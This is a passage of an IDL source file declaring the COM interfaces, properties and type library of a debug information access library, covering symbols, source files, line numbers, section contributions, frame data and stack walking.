\"LiveRangeStartRelativeVirtualAddress\");\n    PROPERTY_RO(DWORD, countLiveRanges, 143, \"number of live ranges\");\n    PROPERTY_RO(ULONGLONG, liveRangeLength, 144, \"length of live range\");\n    PROPERTY_RO(DWORD, offsetInUdt, 145, \"offset into UDT\");\n    PROPERTY_RO(DWORD, paramBasePointerRegisterId, 146, \"ID of the register holding base pointer to parameters\");\n    PROPERTY_RO(DWORD, localBasePointerRegisterId, 147, \"ID of the register holding base pointer to locals\");\n    PROPERTY_RO(BOOL, isLocationControlFlowDependent, 148, \"location is dependent on control flow\");\n    PROPERTY_RO(DWORD, stride, 149, \"stride\");\n    PROPERTY_RO(DWORD, numberOfRows, 150, \"number of rows in a matrix\");\n    PROPERTY_RO(DWORD, numberOfColumns, 151, \"number of columns in a matrix\");\n    PROPERTY_RO(BOOL, isMatrixRowMajor, 152, \"matrix is row major\");\n    HRESULT get_numericProperties(\n         [in] DWORD cnt,\n         [out] DWORD *pcnt,\n         [out, size_is(cnt)] DWORD *pProperties\n       );\n    HRESULT get_modifierValues(\n         [in] DWORD cnt,\n         [out] DWORD *pcnt,\n         [out, size_is(cnt)] WORD *pModifiers\n       );\n    PROPERTY_RO(BOOL, isReturnValue, 153, \"this variable holds return value\");\n    PROPERTY_RO(BOOL, isOptimizedAway, 154, \"this variable is optimized away\");\n    PROPERTY_RO(DWORD, builtInKind, 155, \"built in type kind\");\n    PROPERTY_RO(DWORD, registerType, 156, \"register type kind\");\n    PROPERTY_RO(DWORD, baseDataSlot, 157, \"base data slot\");\n    PROPERTY_RO(DWORD, baseDataOffset, 158, \"base data offset start\");\n    PROPERTY_RO(DWORD, textureSlot, 159, \"texture slot start\");\n    PROPERTY_RO(DWORD, samplerSlot, 160, \"sampler slot start\");\n    PROPERTY_RO(DWORD, uavSlot, 161, \"UAV slot start\");\n    PROPERTY_RO(DWORD, sizeInUdt, 162, \"size in UDT\");\n    PROPERTY_RO(DWORD, memorySpaceKind, 163, \"memory space kind\");\n    PROPERTY_RO(DWORD, unmodifiedTypeId, 164, \"unmodified type ID\");\n    PROPERTY_RO(DWORD, subTypeId, 165, \"sub type ID\");\n    PROPERTY_RO(IDiaSymbol*, subType, 166, \"sub type\");\n    PROPERTY_RO(DWORD, numberOfModifiers, 167, \"number of modifiers\");\n    PROPERTY_RO(DWORD, numberOfRegisterIndices, 168, \"number of HLSL register indices\");\n    PROPERTY_RO(BOOL, isHLSLData, 169, \"is HLSL data\");\n    PROPERTY_RO(BOOL, isPointerToDataMember, 170, \"is pointer to data member\");\n    PROPERTY_RO(BOOL, isPointerToMemberFunction, 171, \"is pointer to member function\");\n    PROPERTY_RO(BOOL, isSingleInheritance, 172, \"is single inheritance\");\n    PROPERTY_RO(BOOL, isMultipleInheritance, 173, \"is multiple inheritance\");\n    PROPERTY_RO(BOOL, isVirtualInheritance, 174, \"is virtual inheritance\");\n    PROPERTY_RO(BOOL, restrictedType, 175, \".\");\n    PROPERTY_RO(BOOL, isPointerBasedOnSymbolValue, 176, \"pointer based on value of a symbol\");\n    PROPERTY_RO(IDiaSymbol*, baseSymbol, 177, \"base symbol for base pointer\");\n    PROPERTY_RO(DWORD, baseSymbolId, 178, \"ID of base symbol for base pointer\");\n    PROPERTY_RO(BSTR, objectFileName, 179, \"object file name\");\n    PROPERTY_RO(BOOL, isAcceleratorGroupSharedLocal, 180, \"is Accelerator group shared local\");\n    PROPERTY_RO(BOOL, isAcceleratorPointerTagLiveRange, 181, \"is live range of Accelerator pointer tag\");\n    PROPERTY_RO(BOOL, isAcceleratorStubFunction, 182, \"is Accelerator stub function\");\n    PROPERTY_RO(DWORD, numberOfAcceleratorPointerTags, 183, \"number of Accelerator pointer tags\");\n    PROPERTY_RO(BOOL, isSdl, 184, \"compiled with /sdl\");\n    PROPERTY_RO(BOOL, isWinRTPointer, 185, \"is WinRT pointer\");\n    PROPERTY_RO(BOOL, isRefUdt, 186, \"is ref class/struct\");\n    PROPERTY_RO(BOOL, isValueUdt, 187, \"is value class/struct\");\n    PROPERTY_RO(BOOL, isInterfaceUdt, 188, \"is interface class/struct\");\n\n    HRESULT findInlineFramesByAddr(\n        [in] DWORD isect, \n        [in] DWORD offset, \n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findInlineFramesByRVA(\n        [in] DWORD rva, \n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findInlineFramesByVA(\n        [in] ULONGLONG va, \n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findInlineeLines(\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInlineeLinesByAddr(\n        [in] DWORD isect,\n        [in] DWORD offset,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInlineeLinesByRVA(\n        [in] DWORD rva,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findInlineeLinesByVA(\n        [in] ULONGLONG va,\n        [in] DWORD length,\n        [out] IDiaEnumLineNumbers** ppResult);\n\n    HRESULT findSymbolsForAcceleratorPointerTag(\n        [in] DWORD tagValue,\n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT findSymbolsByRVAForAcceleratorPointerTag(\n        [in] DWORD tagValue,\n        [in] DWORD rva,\n        [out] IDiaEnumSymbols** ppResult);\n\n    HRESULT get_acceleratorPointerTags(\n        [in] DWORD cnt,\n        [out] DWORD *pcnt,\n        [out, size_is(cnt)] DWORD *pPointerTags);\n\n    HRESULT getSrcLineOnTypeDefn(\n        [out] IDiaLineNumber** ppResult);\n\n    PROPERTY_RO(BOOL, isPGO, 189, \"is PGO enabled\");\n    PROPERTY_RO(BOOL, hasValidPGOCounts, 190, \"has valid PGO counts\");\n    PROPERTY_RO(BOOL, isOptimizedForSpeed, 191, \"is the function optimized for speed\");\n    PROPERTY_RO(DWORD, PGOEntryCount, 192, \"total invocation count in PGO training\");\n    PROPERTY_RO(DWORD, PGOEdgeCount, 193, \"edge count between a caller/callee and it's parent\");\n    PROPERTY_RO(ULONGLONG, PGODynamicInstructionCount, 194, \"dynamic instruction count calculated by training\");\n    PROPERTY_RO(DWORD, staticSize, 195, \"static instruction count\");\n    PROPERTY_RO(DWORD, finalLiveStaticSize, 196, \"final static size of live function, after inlining\");\n    PROPERTY_RO(BSTR, phaseName, 197, \"phase this function is a member of for PGO multiphased builds\");\n    PROPERTY_RO(BOOL, hasControlFlowCheck, 198, \"does this function contain control flow check\");\n    PROPERTY_RO(BOOL, constantExport, 199, \"export is CONSTANT\");\n    PROPERTY_RO(BOOL, dataExport, 200, \"export is CONSTANT\");\n    PROPERTY_RO(BOOL, privateExport, 201, \"export is PRIVATE\");\n    PROPERTY_RO(BOOL, noNameExport, 202, \"export is NONAME\");\n    PROPERTY_RO(BOOL, exportHasExplicitlyAssignedOrdinal, 203, \"export has explicitly assigned ordinal\");\n    PROPERTY_RO(BOOL, exportIsForwarder, 204, \"export is forwarder\");\n    PROPERTY_RO(DWORD, ordinal, 205, \"export ordinal\");\n    PROPERTY_RO(DWORD, frameSize, 206, \"frame size\");\n    PROPERTY_RO(DWORD, exceptionHandlerAddressSection, 207, \"section number of exception handler\");\n    PROPERTY_RO(DWORD, exceptionHandlerAddressOffset, 208, \"offset of exception handler\");\n    PROPERTY_RO(DWORD, exceptionHandlerRelativeVirtualAddress, 209, \"relative virtual address of exception handler\");\n    PROPERTY_RO(ULONGLONG, exceptionHandlerVirtualAddress, 210, \"virtual address of exception handler\");\n\n    HRESULT findInputAssemblyFile(\n        [out] IDiaInputAssemblyFile** ppResult);\n\n    PROPERTY_RO(DWORD, characteristics, 211, \"characteristics of a COFF group\");\n    PROPERTY_RO(IDiaSymbol*, coffGroup, 212, \"COFF group this symbol comes from\");\n    PROPERTY_RO(DWORD, bindID, 213, \"binding register index\");\n    PROPERTY_RO(DWORD, bindSpace, 214, \"binding space\");\n    PROPERTY_RO(DWORD, bindSlot, 215, \"binding lower bound\");\n};\n\n[\n    object,\n    uuid(611e86cd-b7d1-4546-8a15-070e2b07a427),\n    local,\n    helpstring(\"IDiaSymbol2 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol2 : IDiaSymbol\n{\n    PROPERTY_RO(BOOL, isObjCClass, 216, \"is objective-c class interface/implementation\");\n    PROPERTY_RO(BOOL, isObjCCategory, 217, \"is objective-c category\");\n    PROPERTY_RO(BOOL, isObjCProtocol, 218, \"is objective-c protocol\");\n};\n\n[\n    object,\n    uuid(99b665f7-c1b2-49d3-89b2-a384361acab5),\n    local,\n    helpstring(\"IDiaSymbol3 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol3 : IDiaSymbol2\n{\n    PROPERTY_RO(IDiaSymbol*, inlinee, 219, \"inlinee\");\n    PROPERTY_RO(DWORD, inlineeId, 220, \"inlinee ID\");\n};\n\n[\n    object,\n    uuid(bf6c88a7-e9d6-4346-99a1-d053de5a7808),\n    local,\n    helpstring(\"IDiaSymbol4 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol4 : IDiaSymbol3\n{\n    PROPERTY_RO(BOOL, noexcept, 221, \"noexcept\");\n};\n\n[\n    object,\n    uuid(abe2de00-dc2d-4793-af9a-ef1d90832644),\n    local,\n    helpstring(\"IDiaSymbol5 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol5 : IDiaSymbol4\n{\n    PROPERTY_RO(BOOL, hasAbsoluteAddress, 222, \"absolute address\");\n};\n\n[\n    object,\n    uuid(8133dad3-75fe-4234-ac7e-f8e7a1d3cbb3),\n    local,\n    helpstring(\"IDiaSymbol6 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol6 : IDiaSymbol5\n{\n    PROPERTY_RO(BOOL, isStaticMemberFunc, 223, \"static member function\");\n};\n\n[\n    object,\n    uuid(64ce6cd5-7315-4328-86d6-10e303e010b4),\n    local,\n    helpstring(\"IDiaSymbol7 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol7 : IDiaSymbol6\n{\n    PROPERTY_RO(BOOL, isSignRet, 224, \"function signs return address\");\n};\n\n[\n    object,\n    uuid(7f2e041f-1294-41bd-b83a-e715972d2ce3),\n    local,\n    helpstring(\"IDiaSymbol8 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol8 : IDiaSymbol7\n{\n    PROPERTY_RO(DWORD, coroutineKind, 225, \"coroutine function kind\");\n    PROPERTY_RO(DWORD, associatedSymbolKind, 226, \"associated symbol kind\");\n    PROPERTY_RO(DWORD, associatedSymbolSection, 227, \"associated symbol section\");\n    PROPERTY_RO(DWORD, associatedSymbolOffset, 228, \"associated symbol offset\");\n    PROPERTY_RO(DWORD, associatedSymbolRva, 229, \"associated symbol RVA\");\n    PROPERTY_RO(ULONGLONG, associatedSymbolAddr, 230, \"associated symbol VA\");\n};\n\n[\n    object,\n    uuid(a89e5969-92a1-4f8a-b704-00121c37abbb),\n    local,\n    helpstring(\"IDiaSymbol9 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol9 : IDiaSymbol8\n{\n    // stack frame padding is used for EnC (/ZI)\n    PROPERTY_RO(DWORD, framePadSize, 231, \"stack frame pad size\");\n    PROPERTY_RO(DWORD, framePadOffset, 232, \"stack frame pad offset\");\n    // this property is currently used by the debugger to initialize the stack\n    PROPERTY_RO(BOOL, isRTCs, 233, \"compiled with runtime stack checks\");\n};\n\n[\n    object,\n    uuid(9034a70b-b0b7-4605-8a97-33772f3a7b8c),\n    local,\n    helpstring(\"IDiaSymbol10 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSymbol10 : IDiaSymbol9\n{\n    HRESULT get_sourceLink(\n        [in] DWORD cb,\n        [out] DWORD *pcb,\n        [out, size_is(cb)] BYTE *pb);\n};\n\n\n//\n//  SourceFiles\n//\n[\n    object,\n    uuid(A2EF5353-F5A8-4eb3-90D2-CB526ACB3CDD),\n    local,\n    helpstring(\"IDiaSourceFile Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSourceFile: IUnknown\n{\n    PROPERTY_RO( DWORD, uniqueId, 2, \"Unique id for the source file (in this data store).\" );\n    PROPERTY_RO( BSTR, fileName, 3, \".\" );\n    PROPERTY_RO( DWORD, checksumType, 4, \".\" );\n    PROPERTY_RO( IDiaEnumSymbols*, compilands, 5, \".\" );\n\n    HRESULT get_checksum(\n         [in] DWORD cbData,\n         [out] DWORD *pcbData,\n         [out, size_is(cbData)] BYTE *pbData\n        );\n};\n\n//\n//  InputAssemblyFiles\n//\n[\n    object,\n    uuid(3BFE56B0-390C-4863-9430-1F3D083B7684),\n    local,\n    helpstring(\"IDiaInputAssemblyFile Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaInputAssemblyFile: IUnknown\n{\n    PROPERTY_RO( DWORD, uniqueId, 1, \"assembly file ID\" );\n    PROPERTY_RO( DWORD, index, 2, \"assembly file index\");\n    PROPERTY_RO( DWORD, timestamp, 3, \"time stamp\");\n    PROPERTY_RO( BOOL, pdbAvailableAtILMerge, 4, \"PDB is available at IL merge time\" );\n    PROPERTY_RO( BSTR, fileName, 5, \"assembly file name\" );\n\n    HRESULT get_version(\n         [in] DWORD cbData,\n         [out] DWORD *pcbData,\n         [out, size_is(cbData)] BYTE *pbData\n        );         \n};\n\n//\n//  LineNumbers\n//\n[\n    object,\n    uuid(B388EB14-BE4D-421d-A8A1-6CF7AB057086),\n    local,\n    helpstring(\"IDiaLineNumber Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaLineNumber: IUnknown\n{\n    PROPERTY_RO( IDiaSymbol*, compiland, 1, \".\" );\n    PROPERTY_RO( IDiaSourceFile*, sourceFile, 2, \".\" );\n    PROPERTY_RO( DWORD, lineNumber, 3, \".\" );\n    PROPERTY_RO( DWORD, lineNumberEnd, 4, \".\" );\n    PROPERTY_RO( DWORD, columnNumber, 5, \".\" );\n    PROPERTY_RO( DWORD, columnNumberEnd, 6, \".\" );\n    PROPERTY_RO( DWORD, addressSection, 7, \".\" );\n    PROPERTY_RO( DWORD, addressOffset, 8, \".\" );\n    PROPERTY_RO( DWORD, relativeVirtualAddress, 9, \".\" );\n    PROPERTY_RO( ULONGLONG, virtualAddress, 10, \".\" );\n    PROPERTY_RO( DWORD, length, 11, \".\" );\n    PROPERTY_RO( DWORD, sourceFileId, 12, \".\" );\n    PROPERTY_RO( BOOL, statement, 13, \".\" );\n    PROPERTY_RO( DWORD, compilandId, 14, \".\" );\n};\n\n//\n// SectionContributions\n//\n[\n    object,\n    uuid(0CF4B60E-35B1-4c6c-BDD8-854B9C8E3857),\n    local,\n    helpstring(\"IDiaSectionContrib Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSectionContrib: IUnknown\n{\n    PROPERTY_RO( IDiaSymbol*, compiland, 1, \".\" );\n    PROPERTY_RO( DWORD, addressSection, 2, \".\" );\n    PROPERTY_RO( DWORD, addressOffset, 3, \".\" );\n    PROPERTY_RO( DWORD, relativeVirtualAddress, 4, \".\" );\n    PROPERTY_RO( ULONGLONG, virtualAddress, 5, \".\" );\n    PROPERTY_RO( DWORD, length, 6, \".\" );\n    // 7\n    PROPERTY_RO( BOOL, notPaged, 8, \".\");\n    PROPERTY_RO( BOOL, code, 9, \".\");\n    PROPERTY_RO( BOOL, initializedData, 10, \".\");\n    PROPERTY_RO( BOOL, uninitializedData, 11, \".\");\n    PROPERTY_RO( BOOL, remove, 12, \".\");\n    PROPERTY_RO( BOOL, comdat, 13, \".\");\n    PROPERTY_RO( BOOL, discardable, 14, \".\");\n    PROPERTY_RO( BOOL, notCached, 15, \".\");\n    PROPERTY_RO( BOOL, share, 16, \".\");\n    PROPERTY_RO( BOOL, execute, 17, \".\");\n    PROPERTY_RO( BOOL, read, 18, \".\");\n    PROPERTY_RO( BOOL, write, 19, \".\");\n    PROPERTY_RO( DWORD, dataCrc, 20, \".\" );\n    PROPERTY_RO( DWORD, relocationsCrc, 21, \".\" );\n    PROPERTY_RO( DWORD, compilandId, 22, \".\" );\n    PROPERTY_RO( BOOL, code16bit, 23, \".\");\n};\n\n//\n// SegmentMap\n//\n[\n    object,\n    uuid(0775B784-C75B-4449-848B-B7BD3159545B),\n    local,\n    helpstring(\"IDiaSegment Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaSegment: IUnknown\n{\n    PROPERTY_RO( DWORD, frame, 1, \"Frame.\" );\n    PROPERTY_RO( DWORD, offset, 2, \"Offset in physical section.\" );\n    PROPERTY_RO( DWORD, length, 3, \"Length in bytes of segment.\" );\n    PROPERTY_RO( BOOL, read, 4, \"Read allowed.\" );\n    PROPERTY_RO( BOOL, write, 5, \"Write allowed.\" );\n    PROPERTY_RO( BOOL, execute, 6, \"Execute allowed.\" );\n    PROPERTY_RO( DWORD, addressSection, 7, \".\" );\n    PROPERTY_RO( DWORD, relativeVirtualAddress, 8, \".\" );\n    PROPERTY_RO( ULONGLONG, virtualAddress, 9, \".\" );\n};\n\n//\n// InjectedSource\n//\n[\n    object,\n    uuid(AE605CDC-8105-4a23-B710-3259F1E26112),\n    local,\n    helpstring(\"IDiaInjectedSource Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaInjectedSource: IUnknown\n{\n    PROPERTY_RO( DWORD, crc, 1, \"CRC of source bytes.\" );\n    PROPERTY_RO( ULONGLONG, length, 2, \"Length of source in bytes.\" );\n    PROPERTY_RO( BSTR, filename, 3, \"Source filename.\" );\n    PROPERTY_RO( BSTR, objectFilename, 4, \"Object filename.\" );\n    PROPERTY_RO( BSTR, virtualFilename, 5, \"Virtual filename.\" );\n    PROPERTY_RO( DWORD, sourceCompression, 6, \"Source compression algorithm.\" );\n    HRESULT get_source(\n         [in] DWORD cbData,\n         [out] DWORD *pcbData,\n         [out, size_is(cbData)] BYTE *pbData\n        );\n};\n\n//\n// Errors returned by IDiaFrameData::execute\n//\nenum \n{\n    E_DIA_INPROLOG          // cannot execute stack frame when in prolog\n            =((HRESULT) (((unsigned long)(1)<<31) | ((unsigned long)(((LONG)0x6d))<<16) | ((unsigned long)(100))) ),\n    E_DIA_SYNTAX,           // error parsing frame program\n    E_DIA_FRAME_ACCESS,     // error accessing registers or memory\n    E_DIA_VALUE,            // error in computer a value (e.g., divide by zero)\n};\n\n\n[\n    object,\n    uuid(07C590C1-438D-4F47-BDCD-4397BC81AD75),\n    local,\n    helpstring(\"IDiaStackWalkFrame Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaStackWalkFrame: IUnknown\n{\n    PROPERTY_ARRAY_RW( ULONGLONG, DWORD, registerValue, 1, \"Register value.\" ); \n    HRESULT readMemory(\n        [in] enum MemoryTypeEnum type,\n        [in] ULONGLONG va,\n        [in] DWORD cbData,\n        [out] DWORD *pcbData,\n        [out, size_is(cbData)] BYTE *pbData\n        );\n    HRESULT searchForReturnAddress(\n        [in] IDiaFrameData* frame,\n        [out] ULONGLONG* returnAddress\n        );\n    HRESULT searchForReturnAddressStart(\n        [in] IDiaFrameData* frame,\n        [in] ULONGLONG startAddress,\n        [out] ULONGLONG* returnAddress\n        );\n};\n\n\n[\n    object,\n    uuid(A39184B7-6A36-42de-8EEC-7DF9F3F59F33),\n    local,\n    helpstring(\"IDiaFrameData Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaFrameData: IUnknown\n{\n    PROPERTY_RO( DWORD, addressSection, 2, \".\" );\n    PROPERTY_RO( DWORD, addressOffset, 3, \".\" );\n    PROPERTY_RO( DWORD, relativeVirtualAddress, 4, \".\" );\n    PROPERTY_RO( ULONGLONG, virtualAddress, 5, \".\" );\n    PROPERTY_RO( DWORD, lengthBlock, 6, \".\" );\n    PROPERTY_RO( DWORD, lengthLocals, 7, \".\" );\n    PROPERTY_RO( DWORD, lengthParams, 8, \".\" );\n    PROPERTY_RO( DWORD, maxStack, 9, \".\" );\n    PROPERTY_RO( DWORD, lengthProlog, 10, \".\" );\n    PROPERTY_RO( DWORD, lengthSavedRegisters, 11, \".\" );\n    PROPERTY_RO( BSTR, program, 12, \".\" );\n    PROPERTY_RO( BOOL, systemExceptionHandling, 13, \".\" );\n    PROPERTY_RO( BOOL, cplusplusExceptionHandling, 14, \".\" );\n    PROPERTY_RO( BOOL, functionStart, 15, \".\" );\n    PROPERTY_RO( BOOL, allocatesBasePointer, 16, \".\" );\n    PROPERTY_RO( DWORD, type, 17, \".\" );\n    PROPERTY_RO( IDiaFrameData*, functionParent, 18, \"Frame data for enclosing function.\");                  \n\n    HRESULT execute( IDiaStackWalkFrame* frame );\n}\n\n//\n// IDiaImageData\n//\n//      Some debug streams (XDATA, PDATA) contain copies of data also stored in the image. The\n//      stream data objects (IDiaEnumDebugStreamData) can be QI'ed for their IDiaImageData.\n[\n    object,\n    uuid(C8E40ED2-A1D9-4221-8692-3CE661184B44),\n    local,\n    helpstring(\"IDiaImageData Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaImageData: IUnknown\n{\n    PROPERTY_RO( DWORD, relativeVirtualAddress, 2, \".\" );\n    PROPERTY_RO( ULONGLONG, virtualAddress, 3, \".\" );\n    PROPERTY_RO( ULONGLONG, imageBase, 4, \".\" );\n}\n\n//\n// IDiaTable\n//      Supports enumerating the members of the table\n//\n[\n    object,\n    uuid(4A59FB77-ABAC-469b-A30B-9ECC85BFEF14),\n    local,\n    helpstring(\"IDiaTable Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaTable: IEnumUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaTable.\" );\n    PROPERTY_RO( BSTR, name, 1, \"Table name.\" );\n    PROPERTY_RO( LONG, Count, 2, \"Number of table entries.\" );\n\n    [id(0), helpstring(\"Return the table element for the given index.\")]\n    HRESULT Item([in] DWORD index, [out, retval]IUnknown **element); // ### IDispatch?\n\n};\n\n[\n    object,\n    uuid(C65C2B0A-1150-4d7a-AFCC-E05BF3DEE81E),\n    local,\n    helpstring(\"IDiaEnumTables Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumTables: IUnknown\n{\n    PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, \"IEnumVARIANT version of IDiaEnumTables.\" );\n    PROPERTY_RO( LONG, Count, 1, \"Number of tables.\" );\n\n    [id(0), helpstring(\"Return the table for the given index or name.\")]\n    HRESULT Item([in] VARIANT index, [out, retval]IDiaTable **table);\n\n    HRESULT Next(\n        ULONG celt,          \n        IDiaTable ** rgelt,   \n        ULONG * pceltFetched \n    );\n    HRESULT Skip(\n        [in] ULONG celt);\n\n    HRESULT Reset();\n\n    HRESULT Clone(\n        [out] IDiaEnumTables **ppenum);\n};\n\n[\n    uuid(106173A0-0173-4e5c-84E7-E915422BE997),\n    version(2.0),\n    helpstring(\"dia 2.0 Type Library\")\n]\nlibrary Dia2Lib\n{\n\n    importlib(\"stdole2.tlb\");\n    [\n        uuid(e6756135-1e65-4d17-8576-610761398c3c),\n        helpstring(\"DiaSource Class\")\n    ]\n    coclass DiaSource\n    {\n        [default] interface IDiaDataSource;\n    };\n\n    //\n    // DiaSourceAlt - a DiaDataSource object that does not use the system heap. \n    //\n    // A process may either make DiaSourceAlt objects or DiaSource objects, but not both.\n    // When using DiaSourceAlt all returned BSTR's are really LPCOLESTR and should not be \n    // used with other BSTR management routines, in particular they must be released using\n    //      LocalFree( bstr )\n    [\n        uuid(91904831-49ca-4766-b95c-25397e2dd6dc),\n        helpstring(\"Local Heap DiaSource Class\")\n    ]\n    coclass DiaSourceAlt\n    {\n        [default] interface IDiaDataSource;\n    };\n\n\n    // General stack walking API    \n    [\n        uuid(ce4a85db-5768-475b-a4e1-c0bca2112a6b),\n        helpstring(\"General Stackwalk Class\")\n    ]\n    coclass DiaStackWalker\n    {\n        [default] interface IDiaStackWalker;\n    };\n\n    interface IDiaSectionContrib;\n    interface IDiaEnumSectionContribs;\n    interface IDiaSymbol10;\n    interface IDiaEnumSymbolsByAddr2;\n};\n\n//\n// DebugInfoTable\n//\n// Each id identifies an underlying table of debug information \n// \n\nconst LPOLESTR DiaTable_Symbols = L\"Symbols\";\nconst LPOLESTR DiaTable_Sections = L\"Sections\";\nconst LPOLESTR DiaTable_SrcFiles = L\"SourceFiles\";\nconst LPOLESTR DiaTable_LineNums = L\"LineNumbers\";\nconst LPOLESTR DiaTable_SegMap = L\"SegmentMap\";\nconst LPOLESTR DiaTable_Dbg = L\"Dbg\";\nconst LPOLESTR DiaTable_InjSrc = L\"InjectedSource\";\nconst LPOLESTR DiaTable_FrameData = L\"FrameData\";\nconst LPOLESTR DiaTable_InputAssemblyFiles = L\"InputAssemblyFiles\";\n\n\n// Generic property broweser interface.\n[\n    object,\n    uuid(9d416f9c-e184-45b2-a4f0-ce517f719e9b),\n    local,\n    helpstring(\"IDiaPropertyStorage Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaPropertyStorage: IUnknown\n{\n\n    HRESULT ReadMultiple(\n        [in] ULONG cpspec,                                       // Count of properties being read\n        [in, size_is(cpspec)] PROPSPEC const *rgpspec,           // Array of the properties to be read\n        [out, size_is(cpspec)]PROPVARIANT *rgvar                 // Array of PVARIANTs containing\n                                                                 // the property values on return\n    );\n\n    HRESULT ReadPropertyNames(\n        [in] ULONG cpropid,                                      // Number of elements in rgpropid\n        [in, size_is( cpropid )] PROPID const  *rgpropid,        // Property identifiers for\n                                                                 // which names are to be retrieved\n        [in,out, size_is( cpropid )] BSTR *rglpwstrName          // Array of returned string names\n    );\n\n    HRESULT Enum(\n        [out] IEnumSTATPROPSTG **ppenum     //Pointer to output variable\n                                            // that receives the IEnumPROPSPEC\n                                            // interface pointer\n    );\n\n    HRESULT ReadDWORD(\n        [in] PROPID id,            // property to be read\n        [out] DWORD* pValue        // the property value on return\n    );\n\n    HRESULT ReadLONG(\n        [in] PROPID id,            // property to be read\n        [out] LONG* pValue         // the property value on return\n    );\n\n    HRESULT ReadBOOL(\n        [in] PROPID id,            // property to be read\n        [out] BOOL* pValue         // the property value on return\n    );\n\n    HRESULT ReadULONGLONG(\n        [in] PROPID id,            // property to be read\n        [out] ULONGLONG* pValue    // the property value on return\n    );\n\n    HRESULT ReadBSTR(\n        [in] PROPID id,            // property to be read\n        [out] BSTR* pValue         // the property value on return\n    );\n}\n\n[\n    object,\n    uuid(5edbc96d-cdd6-4792-afbe-cc89007d9610),\n    local,\n    helpstring(\"IDiaStackFrame Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaStackFrame: IUnknown\n{\n    PROPERTY_RO( DWORD,     type,                       1,  \"type\" );\n    PROPERTY_RO( ULONGLONG, base,                       2,  \"Base of the stack frame\" );\n    PROPERTY_RO( DWORD,     size,                       3,  \"size of frame in bytes\" );\n    PROPERTY_RO( ULONGLONG, returnAddress,              4,  \"return address of the frame\" );\n    PROPERTY_RO( ULONGLONG, localsBase,                 5,  \"base of locals\" );\n    PROPERTY_RO( DWORD,     lengthLocals,               6,  \"cbLocals\" );\n    PROPERTY_RO( DWORD,     lengthParams,               7,  \"cbParams\" );\n    PROPERTY_RO( DWORD,     lengthProlog,               8,  \"cbProlog\" );\n    PROPERTY_RO( DWORD,     lengthSavedRegisters,       9,  \"cbSavedRegs\" );\n    PROPERTY_RO( BOOL,      systemExceptionHandling,    10, \"fHasSEH\" );\n    PROPERTY_RO( BOOL,      cplusplusExceptionHandling, 11, \"fHasEH\" );\n    PROPERTY_RO( BOOL,      functionStart,              12, \"funcStart\" );\n    PROPERTY_RO( BOOL,      allocatesBasePointer,       13, \"fUsesBP\" );\n    PROPERTY_RO( DWORD,     maxStack,                   14, \"maxStack\" );\n\n    PROPERTY_ARRAY_RO( ULONGLONG, DWORD, registerValue, 15, \"Register value.\" );\n}\n\n[\n    object,\n    uuid(ec9d461d-ce74-4711-a020-7d8f9a1dd255),\n    local,\n    helpstring(\"IDiaEnumStackFrames Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaEnumStackFrames: IUnknown\n{\n    HRESULT Next(\n        [in] ULONG celt,          \n        [out] IDiaStackFrame ** rgelt,\n        [out] ULONG * pceltFetched \n    );\n\n    HRESULT Reset();\n}\n\ntypedef struct {\n    DWORD       ulOffStart;             // offset 1st byte of function code\n    DWORD       cbProcSize;             // # bytes in function\n    DWORD       cdwLocals;              // # bytes in locals/4\n    WORD        cdwParams;              // # bytes in params/4\n    WORD        cdwFlags;               // Following stuff ...\n\n    /*\n    WORD        cbProlog : 8;           // # bytes in prolog\n    WORD        cbRegs   : 3;           // # regs saved\n    WORD        fHasSEH  : 1;           // TRUE if SEH in func\n    WORD        fUseBP   : 1;           // TRUE if EBP has been allocated\n    WORD        reserved : 1;           // reserved for future use\n    WORD        cbFrame  : 2;           // frame type\n    */\n} FPODATA;\n\n[\n    object,\n    uuid(21F81B1B-C5BB-42A3-BC4F-CCBAA75B9F19),\n    local,\n    helpstring(\"IDiaStackWalkHelper Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaStackWalkHelper: IUnknown\n{\n    PROPERTY_ARRAY_RW( ULONGLONG, DWORD, registerValue, 1, \"Register value.\" );         \n    HRESULT readMemory(                     // Read memory for DIA\n        [in] enum MemoryTypeEnum type,\n        [in] ULONGLONG va,\n        [in] DWORD cbData,\n        [out] DWORD *pcbData,\n        [out, size_is(cbData)] BYTE *pbData\n        );\n    HRESULT searchForReturnAddress(         // search return address for DIA, return E_NOTIMPL to use DIA default\n        [in] IDiaFrameData* frame,\n        [out] ULONGLONG* returnAddress\n        );\n    HRESULT searchForReturnAddressStart(    // search return address for DIA, return E_NOTIMPL to use DIA default\n        [in] IDiaFrameData* frame,\n        [in] ULONGLONG startAddress,\n        [out] ULONGLONG* returnAddress\n        );\n    HRESULT frameForVA(                     // Get frame data for this address          